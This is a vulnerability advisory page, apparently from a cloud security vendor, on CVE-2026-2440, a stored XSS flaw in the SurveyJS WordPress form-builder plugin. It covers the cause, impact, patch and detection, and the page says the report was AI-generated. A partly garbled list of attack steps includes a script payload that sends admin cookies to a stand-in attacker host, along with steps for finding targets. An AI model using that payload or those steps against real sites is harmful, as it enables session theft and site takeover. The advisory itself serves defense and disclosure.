
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2440 is a Stored Cross-Site Scripting (XSS) vulnerability in the SurveyJS: Drag & Drop Form Builder plugin for WordPress, affecting all versions up to and including 2.5.3. The flaw arises from insufficient input sanitization and output escaping in survey result submissions, allowing unauthenticated attackers to inject malicious payloads that execute in the administrator's browser context when survey results are viewed. It was published on March 21, 2026, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The public-facing survey submission page exposes the WordPress nonce required for form submission, enabling unauthenticated attackers to submit HTML-encoded payloads without any prior authentication. These payloads are stored in the database and, when an administrator views the survey results page, are decoded and rendered as executable HTML/JavaScript in the admin context. Vulnerable code paths have been identified in ajax_handlers/save_result.php (line 15) and views/results.php (line 116) of the plugin (Wordfence, Plugin Source - save_result, Plugin Source - results).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a logged-in WordPress administrator, risking session/credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and full site compromise. The vulnerability's changed scope means the impact extends beyond the plugin itself to the broader WordPress installation and any data accessible to the administrator. There is no direct availability impact, but confidentiality and integrity of the WordPress site are both at risk (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.057% (0.000570), indicating a low probability of exploitation in the near term. The vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and no user interaction from the attacker's perspective — only the administrator must view the results page — making it relatively easy to attempt (Wordfence).
/wp-content/plugins/surveyjs/) using tools like Shodan, Censys, or Google dorks.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to steal admin session cookies or perform unauthorized actions.save_result.php), including the extracted nonce and the encoded malicious payload as a survey answer field.views/results.php), the HTML-encoded payload is decoded and rendered as executable HTML/JavaScript in the admin's browser./wp-admin/admin-ajax.php with action=save_survey_result or similar) containing HTML-encoded script tags or event handlers in survey answer fields; outbound requests from the admin browser to unknown external domains shortly after viewing survey results.Users should update the SurveyJS: Drag & Drop Form Builder plugin to version 2.5.4 or later, which contains the fix for this vulnerability. As an interim workaround, administrators can restrict access to the survey results page to trusted IP addresses or temporarily disable the plugin until patching is feasible. Reviewing existing survey submissions for suspicious HTML-encoded content is also recommended to identify any prior exploitation attempts (Wordfence, Wordfence Weekly Report).
Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the week of March 16–22, 2026, and published a dedicated threat intelligence entry. The vulnerability was also picked up by automated security alert services such as RedPacket Security and VulDB shortly after publication. No notable independent researcher commentary or significant media coverage beyond standard vulnerability aggregation has been identified (Wordfence Weekly Report, Red Hat CVE).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."